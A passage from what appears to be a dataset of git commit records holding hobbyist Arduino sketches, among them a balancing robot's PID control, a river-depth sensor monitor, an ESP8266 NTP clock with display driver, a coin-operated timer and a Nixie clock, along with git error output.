setSpeed_Motor_B(int16_t tspeed)\n{\n long timer_period;\n int16_t speed;\n\n \/\/ Limit max speed?\n\n \/\/ WE LIMIT MAX ACCELERATION of the motors\n if ((velocidad_Motor_B - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_B -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_B - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_B += MAXIMA_ACELERACION;\n else\n velocidad_Motor_B = tspeed;\n\n#if MICROSTEPPING==16\n speed = velocidad_Motor_B * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n#else\n speed = velocidad_Motor_B * 23; \/\/ 1\/8 Microstepping\n#endif\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_B = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_B = 1;\n SET(PORTE, 6); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_B = -1;\n CLR(PORTE, 6); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR3A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT3 > OCR3A)\n TCNT3 = 0;\n}\n\n\/* ******************************************************************** *\/\n\/* **************** CONTROL PID (B-ROBOT) ******************* *\/\n\/* ******************************************************************** *\/\n\n\/\/ PD controller implementation(Proportional, derivative). DT is in miliseconds\nfloat controlEstabilidadPD(float DT, float input, float setPoint, float Kp, float Kd)\n{\n float error;\n float output;\n\n error = setPoint - input;\n\n \/\/ Kd is implemented in two parts\n \/\/ The biggest one using only the input (sensor) part not the SetPoint input-input(t-2)\n \/\/ And the second using the setpoint to make it a bit more agressive setPoint-setPoint(t-1)\n output = Kp * error + (Kd * (setPoint - setPointAntiguo) - Kd * (input - PID_errorAntiguo2)) \/ DT;\n \/\/Serial.print(Kd*(error-PID_errorOld));Serial.print(\"\\t\");\n PID_errorAntiguo2 = PID_errorAntiguo;\n PID_errorAntiguo = input; \/\/ error for Kd is only the input component\n setPointAntiguo = setPoint;\n return (output);\n}\n\n\n\/\/ PI controller implementation (Proportional, integral). DT is in miliseconds\nfloat controlVelocidadPI(float DT, float input, float setPoint, float Kp, float Ki)\n{\n float error;\n float output;\n\n error = setPoint - input;\n PID_errorSuma += constrain(error, -ITERM_MAX_ERROR, ITERM_MAX_ERROR);\n PID_errorSuma = constrain(PID_errorSuma, -ITERM_MAX, ITERM_MAX);\n\n \/\/Serial.println(PID_errorSum);\n\n output = Kp * error + Ki * PID_errorSuma * DT * 0.001; \/\/ DT is in miliseconds...\n return (output);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simplificado_230520171205_FUNCIONA_CORRECTAMENTE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad95b274ea96958bed36422dcdbaf4562f966342","subject":"Arduino Code","message":"Arduino Code","repos":"shrestsav\/Gahirai,shrestsav\/Gahirai,shrestsav\/Gahirai,shrestsav\/Gahirai","old_file":"Essential-JAVA-and-ARDUINO-codes\/Gahirai.ino","new_file":"Essential-JAVA-and-ARDUINO-codes\/Gahirai.ino","new_contents":"#include <dht11.h>\n#include <SFE_BMP180.h>\n#include <Wire.h>\n#include <LiquidCrystal.h>\nSFE_BMP180 pressure;\n#define ALTITUDE 1655.0 \ndht11 DHT11;\n#define DHT11PIN 4\n#define trigPin 3 \/\/Sensor Echo pin connected to Arduino pin 13\n#define echoPin 2 \/\/Sensor Trip pin connected to Arduino pin 12\nlong duration, cm, inches, depth;\nint i;\nint flag=0;\nfloat humidity;\nfloat temperature;\nfloat pres;\nint intensity;\nboolean inten;\nLiquidCrystal lcd(8, 9, 10, 11, 12, 13);\nvoid setup() {\n Serial.begin(9600);\n pinMode(5, OUTPUT);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n if (pressure.begin()){}\n else\n {\n Serial.println(\"BMP180 init fail\\n\\n\");\n while(1); \/\/ Pause forever.\n }\n lcd.begin(16, 2);\n lcd.print(\"ShreStsaV\");\n delay(1200);\n for(i=0;i<2;i++)\n {\n lcd.clear();\n lcd.setCursor(0, 0);\n delay(100);\n lcd.print(\"WATER MONITORING\");\n }\n delay(3000); \n}\n\nvoid loop() \n{\n hope:\n digitalWrite(trigPin, LOW);\n delayMicroseconds(5);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n pinMode(echoPin, INPUT);\n duration = pulseIn(echoPin, HIGH);\n cm = (duration\/2) \/ 29.1;\n inches = (duration\/2) \/ 74;\n depth = 48-cm; \n if (cm>500){\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"IrregularSurface\");\n goto hope;\n delay(700);\n }\n else if(cm<10){\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"WARNING\");\n digitalWrite(5, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(700); \/\/ wait for a second\n }\n else{ \n digitalWrite(5, LOW); \/\/ turn the LED off by making the voltage LOW\n lcd.clear();\n lcd.setCursor(0,0); \/\/Set cursor to first column of second row\n lcd.print(\"Distance\"); \/\/Print blanks to clear the row\n lcd.setCursor(0,1); \/\/Set Cursor again to first column of second row\n lcd.print(cm); \/\/Print measured distance\n lcd.print(\" cm\");\n lcd.setCursor(7,1);\n lcd.print(inches);\n lcd.print(\"in\");\n delay(750);\n \/\/Depth\n lcd.clear();\n lcd.setCursor(0,0); \n lcd.print(\"River Depth\");\n lcd.setCursor(0,1); \n lcd.print(depth);\n lcd.print(\" cm\");\n }\n\/\/ Serial.print(inches);\n\/\/ Serial.print(\"in, \");\n\/\/ Serial.print(cm);\n\/\/ Serial.print(\"cm\");\n\/\/ Serial.println();\n \n delay(750);\n\n \/\/while(1){Serial.println(analogRead(A0));delay(500);}\n char status;\n double T,P,p0,a;\n int chk = DHT11.read(DHT11PIN);\n switch (chk)\n {\n case DHTLIB_OK: \n \/\/Serial.println(\"OK\"); \n break;\n case DHTLIB_ERROR_CHECKSUM: \n Serial.println(\"Checksum error\"); \n break;\n case DHTLIB_ERROR_TIMEOUT: \n Serial.println(\"Time out error\"); \n break;\n default: \n Serial.println(\"Unknown error\"); \n break;\n }\n intensity=analogRead(A0);\n if(intensity>200)\n inten=1;\n else inten=0;\n humidity=(float)DHT11.humidity;\n temperature=(float)DHT11.temperature;\n status = pressure.startTemperature();\n if (status != 0)\n {\n delay(status);\n status = pressure.getTemperature(T);\n if (status != 0)\n {\n status = pressure.startPressure(3);\n if (status != 0)\n {\n delay(status);\n status = pressure.getPressure(P,T);\n if (status != 0)\n {\/\/lcd.print(P);\n pres=P;\n }\n }}}\n if(Serial.available()>0)\n {\n flag=Serial.read();\n if (flag=='1'){}\n else\n {\n \/\/delay(10);\n char tempstr[7],humistr[5],presstr[7],daynight[1],distance[5],rdepth[5];\n dtostrf(temperature,6,2,tempstr);\n dtostrf(humidity,4,2,humistr);\n dtostrf(pres,6,2,presstr);\n dtostrf(inten,1,0,daynight);\n dtostrf(cm,2,0,distance);\n dtostrf(depth,2,0,rdepth);\n Serial.println(String(tempstr)+\",\"+String(humistr)+\",\"+String(presstr)+\",\"+String(daynight)+\",\"+String(distance)+\",\"+String(rdepth));\n \n }}\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Temperature:\");\n lcd.setCursor(0,1);\n lcd.print(temperature);\n delay(700);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Humidity:\");\n lcd.setCursor(0,1);\n lcd.print(humidity);\n delay(700);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Pressure (AB):\");\n lcd.setCursor(0,1);\n lcd.print(pres);\n delay(700);\n }\n \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Essential-JAVA-and-ARDUINO-codes\/Gahirai.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bc3537fdb0ff7b3497b37fcd0fb84e36410ae9c2","subject":"added idling timer. initial sammpling buffer support","message":"added idling timer. initial sammpling buffer support\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"481aa2bc43e4afde04a69dca09030b60e263ad20","subject":"modified to use arrays","message":"modified to use arrays","repos":"hantar\/arduinogo,hantar\/arduinogo,hantar\/arduinogo","old_file":"matrix timer\/my_-_matrix8x8.ino","new_file":"matrix timer\/my_-_matrix8x8.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix' did not match any file(s) known to git\nerror: pathspec 'timer\/my_-_matrix8x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79e63dfe06b7d1317606ee0a583828793bf018c3","subject":"Create Woodstation.ino","message":"Create Woodstation.ino","repos":"amondit\/ESP-Woodstation","old_file":"Woodstation.ino","new_file":"Woodstation.ino","new_contents":"#include <TimeLib.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\n#include \"ht1632c.h\"\n\n\/\/\/ framebuffer\nstatic uint8_t** ht1632c_framebuffer = 0;\nstatic uint8_t ht1632c_framebuffer_len = 96;\n\nconst char* ssid = \"********\";\nconst char* password = \"********\";\n\n\/\/ NTP Servers:\nstatic const char ntpServerName[] = \"europe.pool.ntp.org\";\n\/\/static const char ntpServerName[] = \"time.nist.gov\";\n\/\/static const char ntpServerName[] = \"time-a.timefreq.bldrdoc.gov\";\n\/\/static const char ntpServerName[] = \"time-b.timefreq.bldrdoc.gov\";\n\/\/static const char ntpServerName[] = \"time-c.timefreq.bldrdoc.gov\";\n\nint timeZone = 0; \/\/ Central European Time\n\/\/const int timeZone = -5; \/\/ Eastern Standard Time (USA)\n\/\/const int timeZone = -4; \/\/ Eastern Daylight Time (USA)\n\/\/const int timeZone = -8; \/\/ Pacific Standard Time (USA)\n\/\/const int timeZone = -7; \/\/ Pacific Daylight Time (USA)\n\n\nWiFiUDP Udp;\nunsigned int localPort = 8888; \/\/ local port to listen for UDP packets\n\ntime_t getNtpTime();\nvoid digitalClockDisplay();\nvoid printDigits(int digits);\nvoid sendNTPpacket(IPAddress &address);\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Booting\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n while (WiFi.waitForConnectResult() != WL_CONNECTED) {\n Serial.println(\"Connection Failed! Rebooting...\");\n delay(5000);\n ESP.restart();\n }\n\n \/\/ Port defaults to 8266\n \/\/ ArduinoOTA.setPort(8266);\n\n \/\/ Hostname defaults to esp8266-[ChipID]\n \/\/ ArduinoOTA.setHostname(\"myesp8266\");\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword((const char *)\"123\");\n\n ArduinoOTA.onStart([]() {\n Serial.println(\"Start\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n Serial.println(\"Ready\");\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n Serial.println(\"Starting UDP\");\n Udp.begin(localPort);\n Serial.print(\"Local port: \");\n Serial.println(Udp.localPort());\n Serial.println(\"waiting for sync\");\n setSyncProvider(getNtpTime);\n setSyncInterval(300);\n\n Serial.println(\"Setting up SPI display\");\n ht1632c_init(HT1632_CMD_8PMOS);\n ht1632c_clear();\n ht1632c_pwm(15);\n ht1632c_sendframe();\n}\n\ntime_t prevDisplay = 0; \/\/ when the digital clock was displayed\n\nvoid loop()\n{\n if (timeStatus() != timeNotSet) {\n if (now() != prevDisplay) { \/\/update the display only if time has changed\n int newTimeZoneOffset = adjustDstEurope();\n if(newTimeZoneOffset != timeZone)\n {\n Serial.print(\"Adjusting timezone offset: \");\n Serial.println(newTimeZoneOffset);\n timeZone = newTimeZoneOffset;\n setSyncProvider(getNtpTime);\n }\n prevDisplay = now();\n char buffer[7];\n sprintf(buffer, \"%02d%02d%02d\", hour(), minute(), second());\n updateTimeDisplay(buffer);\n }\n }\n delay(100);\n}\n\nvoid digitalClockDisplay()\n{\n char buffer[7];\n sprintf(buffer, \"%02d%02d%02d\", hour(), minute(), second());\n Serial.println(buffer);\n}\n\nvoid printDigits(int digits)\n{\n \/\/ utility for digital clock display: prints preceding colon and leading 0\n Serial.print(\":\");\n if (digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\n\n\n\n\n\/\/------------------ Woodstation related data -------------------\n\nstatic int timeDisplayBaseAddresses[6][2]=\n{\n {0,2}, \/\/H\n {14,2}, \/\/H\n {28,2}, \/\/m\n {0,3}, \/\/m\n {14,3}, \/\/s\n {28,3} \/\/s\n};\n\nstatic int dateDisplayBaseAddresses[8][2]=\n{\n {1,0}, \/\/D\n {15,0}, \/\/D\n {29,0}, \/\/M\n {1,1}, \/\/M\n {15,1}, \/\/Y\n {29,1}, \/\/Y\n {1,2}, \/\/Y\n {29,1} \/\/Y\n};\n\nstatic int sevenSegmentDigits[10][7]=\n{\n {1, 1, 1, 1, 1, 1, 0},\n {0, 1, 1, 0, 0, 0, 0},\n {1, 1, 0, 1, 1, 0, 1},\n {1, 1, 1, 1, 0, 0, 1},\n {0, 1, 1, 0, 0, 1, 1},\n {1, 0, 1, 1, 0, 1, 1},\n {1, 0, 1, 1, 1, 1, 1},\n {1, 1, 1, 0, 0, 0, 0},\n {1, 1, 1, 1, 1, 1, 1},\n {1, 1, 1, 1, 0, 1, 1}\n};\nstatic int spaceCharacter[7] = {0, 0, 0, 0, 0, 0, 0};\nstatic int minusCharacter[7] = {0, 0, 0, 0, 0, 0, 1};\n\nvoid writeDisplayCharacterAtIndex(int* sevenSegmentCharBitSequence, int baseAddr, int bitIndex){\n if (!sevenSegmentCharBitSequence)\n return;\n int writeAddr = baseAddr;\n for (int i = 0; i < 7; ++i) {\n ht1632c_update_framebuffer(writeAddr, bitIndex, sevenSegmentCharBitSequence[i]);\n Serial.print(sevenSegmentCharBitSequence[i]);\n writeAddr = writeAddr + 2;\n }\n Serial.println();\n}\n\nvoid updateTimeDisplay(char* newTime){\n int characterMap[7] = {0, 0, 0, 0, 0, 0, 0};\n int iValue = 0;\n char cValue = '0';\n for(int timeDigitIndex = 0; timeDigitIndex < 6; timeDigitIndex++){\n cValue = newTime[timeDigitIndex];\n iValue = atoi(&cValue);\n Serial.println(iValue);\n int baseAddr = timeDisplayBaseAddresses[timeDigitIndex][0];\n int bitIndex = timeDisplayBaseAddresses[timeDigitIndex][1];\n writeDisplayCharacterAtIndex(sevenSegmentDigits[iValue], baseAddr, bitIndex);\n }\n Serial.println();\n}\n\n\n\n\n\n\/\/-------------------- Time related data ------------------------\n\n\nint adjustDstEurope()\n{\n \/\/ last sunday of march\n int beginDSTDate= (31 - (5* year() \/4 + 4) % 7);\n \/\/Serial.println(beginDSTDate);\n int beginDSTMonth=3;\n \/\/last sunday of october\n int endDSTDate= (31 - (5 * year() \/4 + 1) % 7);\n \/\/Serial.println(endDSTDate);\n int endDSTMonth=10;\n \/\/ DST is valid as:\n if (((month() > beginDSTMonth) && (month() < endDSTMonth))\n || ((month() == beginDSTMonth) && (day() >= beginDSTDate)) \n || ((month() == endDSTMonth) && (day() <= endDSTDate)))\n return 2; \/\/ DST europe = utc +2 hour\n else return 1; \/\/ nonDST europe = utc +1 hour\n}\n\n\/*-------- NTP code ----------*\/\n\nconst int NTP_PACKET_SIZE = 48; \/\/ NTP time is in the first 48 bytes of message\nbyte packetBuffer[NTP_PACKET_SIZE]; \/\/buffer to hold incoming & outgoing packets\n\ntime_t getNtpTime()\n{\n IPAddress ntpServerIP; \/\/ NTP server's ip address\n\n while (Udp.parsePacket() > 0) ; \/\/ discard any previously received packets\n Serial.println(\"Transmit NTP Request\");\n \/\/ get a random server from the pool\n WiFi.hostByName(ntpServerName, ntpServerIP);\n Serial.print(ntpServerName);\n Serial.print(\": \");\n Serial.println(ntpServerIP);\n sendNTPpacket(ntpServerIP);\n uint32_t beginWait = millis();\n while (millis() - beginWait < 1500) {\n int size = Udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n Serial.println(\"Receive NTP Response\");\n Udp.read(packetBuffer, NTP_PACKET_SIZE); \/\/ read packet into the buffer\n unsigned long secsSince1900;\n \/\/ convert four bytes starting at location 40 to a long integer\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n Serial.println(\"No NTP Response :-(\");\n return 0; \/\/ return 0 if unable to get the time\n}\n\n\/\/ send an NTP request to the time server at the given address\nvoid sendNTPpacket(IPAddress &address)\n{\n \/\/ set all bytes in the buffer to 0\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n \/\/ Initialize values needed to form NTP request\n \/\/ (see URL above for details on the packets)\n packetBuffer[0] = 0b11100011; \/\/ LI, Version, Mode\n packetBuffer[1] = 0; \/\/ Stratum, or type of clock\n packetBuffer[2] = 6; \/\/ Polling Interval\n packetBuffer[3] = 0xEC; \/\/ Peer Clock Precision\n \/\/ 8 bytes of zero for Root Delay & Root Dispersion\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n \/\/ all NTP fields have been given values, now\n \/\/ you can send a packet requesting a timestamp:\n Udp.beginPacket(address, 123); \/\/NTP requests are to port 123\n Udp.write(packetBuffer, NTP_PACKET_SIZE);\n Udp.endPacket();\n}\n\n\n\/\/------------------- HT1632 Related data ------------\n\nvoid ht1632c_chipselect(const int value)\n{\n digitalWrite(SS, toBit(value));\n}\n\nvoid ht1632c_sendcmd(const uint8_t cmd) {\n uint16_t data = HT1632_ID_CMD;\n data <<= HT1632_CMD_LEN;\n data |= cmd;\n data <<= 5;\n \/\/reverse_endian(&data, sizeof(data));\n \n ht1632c_chipselect(1);\n SPI.write16(data);\n ht1632c_chipselect(0);\n\n}\n\nvoid ht1632c_update_framebuffer(const int addr, const uint8_t bitIndex, const uint8_t bitValue)\n{\n if(addr <0 || addr > (ht1632c_framebuffer_len-1) || bitIndex > 3)\n return;\n ht1632c_framebuffer[addr][bitIndex] = toBit(bitValue);\n}\n\nuint8_t ht1632c_get_framebuffer(const int addr, const uint8_t bitIndex)\n{\n if(addr <0 || addr > (ht1632c_framebuffer_len-1) || bitIndex > 3)\n return 0;\n return ht1632c_framebuffer[addr][bitIndex];\n}\n\n\/\/\n\/\/ public functions\n\/\/\n\nint ht1632c_init(const uint8_t commonsMode)\n{\n \/\/ init SPI\n pinMode(SS, OUTPUT);\n SPI.begin(); \n SPI.setBitOrder(MSBFIRST);\n SPI.setClockDivider(SPI_CLOCK_DIV64);\n SPI.setDataMode(SPI_MODE0);\n\n\n switch (commonsMode) {\n case HT1632_CMD_8NMOS:\n case HT1632_CMD_8PMOS:\n ht1632c_framebuffer_len = 64;\n break;\n case HT1632_CMD_16NMOS:\n case HT1632_CMD_16PMOS:\n ht1632c_framebuffer_len = 96;\n break;\n default:\n break;\n }\n\n\n ht1632c_framebuffer = (uint8_t**) malloc(ht1632c_framebuffer_len*sizeof(uint8_t*));\n if (!ht1632c_framebuffer) {\n Serial.println( \"Framebuffer allocation failed.\");\n return 3;\n }\n\n for (int i = 0; i < ht1632c_framebuffer_len; ++i) {\n ht1632c_framebuffer[i] = (uint8_t*) malloc(4*sizeof(uint8_t));\n if (!ht1632c_framebuffer[i]) {\n Serial.println( \"Framebuffer allocation failed.\");\n return 3;\n }\n ht1632c_framebuffer[i][0] = ht1632c_framebuffer[i][1] = ht1632c_framebuffer[i][1] = ht1632c_framebuffer[i][3] = 0;\n }\n\n \/\/ init display\n ht1632c_sendcmd(HT1632_CMD_SYSDIS);\n ht1632c_sendcmd(commonsMode);\n ht1632c_sendcmd(HT1632_CMD_MSTMD);\n ht1632c_sendcmd(HT1632_CMD_RCCLK);\n ht1632c_sendcmd(HT1632_CMD_SYSON);\n ht1632c_sendcmd(HT1632_CMD_LEDON);\n ht1632c_sendcmd(HT1632_CMD_BLOFF);\n ht1632c_sendcmd(HT1632_CMD_PWM);\n\n ht1632c_clear();\n ht1632c_sendframe();\n\n return 0;\n}\n\nint ht1632c_close()\n{\n SPI.end();\n if (ht1632c_framebuffer) {\n for (int i = 0; i < ht1632c_framebuffer_len; ++i) {\n if (ht1632c_framebuffer[i]) {\n free(ht1632c_framebuffer[i]);\n ht1632c_framebuffer[i] = 0;\n }\n }\n free(ht1632c_framebuffer);\n ht1632c_framebuffer = 0;\n }\n}\n\nvoid ht1632c_pwm(const uint8_t value)\n{\n ht1632c_sendcmd(HT1632_CMD_PWM | (value & 0x0f));\n}\n\nvoid ht1632c_sendframe()\n{\n uint16_t data = HT1632_ID_WR;\n data <<= HT1632_ADDR_LEN;\n data <<= 6;\n\n \/\/We append the first 1.5 addresses values, to fill the 16bit buffer\n uint8_t bitValues = 0;\n for (int j = 0; j < 4; ++j) {\n bitValues <<= 1;\n bitValues |= toBit(ht1632c_framebuffer[0][j]);\n }\n for (int j = 0; j < 2; ++j) {\n bitValues <<= 1;\n bitValues |= toBit(ht1632c_framebuffer[1][j]);\n }\n data |= bitValues;\n \/\/reverse_endian(&data, sizeof(data));\n\n ht1632c_chipselect(1);\n SPI.write16(data);\n\n\n \/\/Loop to write the frame buffer\n int i = 1;\n while (i < ht1632c_framebuffer_len) {\n bitValues = 0;\n \/\/we copy the last 2 bits of the previous address,\n \/\/as they are truncated due to message size of 16b\n \/\/\n \/\/(format of bit values : AABB BBCC)\n for (int j = 2; j < 4; ++j) {\n bitValues <<= 1;\n bitValues |= toBit(ht1632c_framebuffer[i][j]);\n }\n i++;\n if (i == ht1632c_framebuffer_len) {\n bitValues <<=6;\n }else {\n for (int j = 0; j < 4; ++j) {\n bitValues <<= 1;\n bitValues |= toBit(ht1632c_framebuffer[i][j]);\n }\n i++;\n if (i == ht1632c_framebuffer_len) {\n bitValues <<= 2;\n }else {\n for (int j = 0; j < 2; ++j) {\n bitValues <<= 1;\n bitValues |= toBit(ht1632c_framebuffer[i][j]);\n }\n }\n\n }\n SPI.write(bitValues);\n }\n\n ht1632c_chipselect(0);\n}\n\nvoid ht1632c_clear()\n{\n \/\/ clear buffer\n if (ht1632c_framebuffer) {\n for (int i = 0; i < ht1632c_framebuffer_len; ++i) {\n if (ht1632c_framebuffer[i]) {\n ht1632c_framebuffer[i][0] = ht1632c_framebuffer[i][1] = ht1632c_framebuffer[i][1] = ht1632c_framebuffer[i][3] = 0;\n }\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Woodstation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a6036253da176899f697f21cfbf7aa0f92faf11","subject":"Add files via upload","message":"Add files via upload\n\nCoin_Counter_Verison_2 is the second version of the script currently used in the Blue Box AC Controller. (Latest is 11, I think)\r\nIt's actually not that far off form the latest version. Most of the revisions were used to figure out that we needed to use a analog Low Pass Filter in order to handle the inrush current EMI when the AC turns on.","repos":"MAGLaboratory\/Arduino_MagLabCoinOpAirconditioner,MAGLaboratory\/Arduino_MagLabCoinOpAirconditioner,MAGLaboratory\/Arduino_MagLabCoinOpAirconditioner,MAGLaboratory\/Arduino_MagLabCoinOpAirconditioner,MAGLaboratory\/Arduino_MagLabCoinOpAirconditioner","old_file":"Coin_Counter_Version_2\/Coin_Counter_Version_2.ino","new_file":"Coin_Counter_Version_2\/Coin_Counter_Version_2.ino","new_contents":"#include <Wire.h> \/\/ Comes with Arduino IDE\n\/\/ Get the LCD I2C Library here: \n\/\/ https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/downloads\n\/\/ Move any other LCD libraries to another folder or delete them\n\/\/ See Library \"Docs\" folder for possible commands etc.\n#include <LiquidCrystal_I2C.h>\nvolatile int INTcount;\nint pin = 2;\nint result;\nint timer;\nunsigned long time1;\nunsigned long minCounter;\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); \/\/ Set the LCD I2C address\nvoid setup() \n{ \nSerial.begin(9600);\n lcd.begin(16,2); \/\/ initialize the lcd for 16 chars 2 lines, turn on backlight\n for(int i = 0; i< 3; i++)\n {\n lcd.backlight();\n delay(250);\n lcd.noBacklight();\n delay(250);\n }\n lcd.backlight ();\n \n lcd.setCursor(0,0); \/\/Start at character 4 on line 0\n lcd.print(\"Hello, world!\");\n delay(1000);\n lcd.setCursor(0,1);\n lcd.print(\"HI!YourDuino.com\");\n delay(1000); \n\n\/\/ Wait and then tell user they can start the Serial Monitor and type in characters to\n\/\/ Display. (Set Serial Monitor option to \"No Line Ending\")\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Time Left: \");\n lcd.print(timer);\n lcd.print(\"min\");\n lcd.setCursor(0,1);\n lcd.print(\"1 cent per min\");\n\n\nattachInterrupt(digitalPinToInterrupt(pin), timerControl, FALLING);\npinMode(13, OUTPUT);\n}\n\nvoid timerControl()\n{\n INTcount = INTcount + 1;\n timer = timer + 1;\n \n}\nvoid loop() {\n lcd.setCursor(0,0);\n lcd.print(\"Time Left: \");\n lcd.print(timer);\n lcd.print(\"min\");\n lcd.setCursor(0,1);\n lcd.print(\"1 cent per min\");\n time1 = millis();\n Serial.println(minCounter);\n Serial.println(time1);\n if(timer == 1)\n {\n minCounter = millis() + 60000;\n }\n \n if(timer != 0 && minCounter <= millis())\n {\n timer = timer - 1;\n minCounter = millis() + 600000;\n }\n \/*while(timer > 0)\n {\n digitalWrite(13,HIGH);\n delay(60000);\n timer = timer - 1;\n }\n\n if(timer < 0)\n {\n digitalWrite(13,LOW);\n delay(60000);\n }*\/\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Coin_Counter_Version_2\/Coin_Counter_Version_2.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f0177753231233f314ab88e8fa90b68e56013d3d","subject":"Create Cock_Sketch.ino","message":"Create Cock_Sketch.ino","repos":"pamanes\/ArduinoNixieTubeClock,pamanes\/ArduinoNixieTubeClock","old_file":"Cock_Sketch.ino","new_file":"Cock_Sketch.ino","new_contents":"\/*\n Author: Alejandro Palacios (pamanes@gmail.com)\n Creation Date: Jan. 10, 2015\n Purpose: \n \n This is a clock program that pushes the time\n to Shift Registers in order to light up Nixie Tubes.\n\t\n\tH H : M M : S S (Nixies)\n\t| | | | | | (Rusian Driver has 10 output pins, each lighting up a number)\n D D D D D D (Russian Driver K155NA1)\n\t \\\/ \\\/ \\\/ (4 pins to each Russian Driver)\n\t SF3 SF2 SF1 (each shift register has 8 output pins - 74HC595)\n\t \n There are three Shift Registers, each controls two nixie tubes\n*\/\n\n#include \"common.h\"\n\/\/define shifts pins for seconds\nconst int sDataPin = 4;\nconst int sLatchPin = 5;\nconst int sClockPin = 6;\n\/\/define shifts pins for minutes\nconst int mDataPin = 7;\nconst int mLatchPin = 8;\nconst int mClockPin = 9;\n\/\/define shifts pins for hours\nconst int hDataPin = 10;\nconst int hLatchPin = 11;\nconstint hClockPin = 12;\n\/\/pins for buttons\nconst int hButtonPin = 3;\nconst int mButtonPin = 13;\n\/\/buttons state\nint hButtonState = 0;\nint mButtonState = 0;\n\/\/flag when button released\nqboolean hFlag = qtrue;\nqboolean mFlag = qtrue;\n\/\/wat a sec each cycle\nconst int interval = 1000;\n\/\/keep track o ftime\nunsigned long previousMillis = 0;\n\/\/this is to handle when millis resets\nconst unsigned long MAX = 4294967295;\n\/\/byte pushed out to shift registers\nbyte sLed = 0;\nbyte mLed = 0;\nbyte hLed = 0;\n\n\/\/clock variables, init at 12:00:00\nint h = 12;\nint m = 0;\nint s = 0;\n\n\/\/define pins direction\nvoid setup()\n{\n\t\/\/BUTTONS\n\tpinMode(hButtonPin, INPUT);\n\tpinMode(mButtonPin, INPUT);\n\n\t\/\/SHIFTS\n\tpinMode(sLatchPin, OUTPUT);\n\tpinMode(sDataPin, OUTPUT);\n\tpinMode(sClockPin, OUTPUT);\n\n\tpinMode(mLatchPin, OUTPUT);\n\tpinMode(mDataPin, OUTPUT);\n\tpinMode(mClockPin, 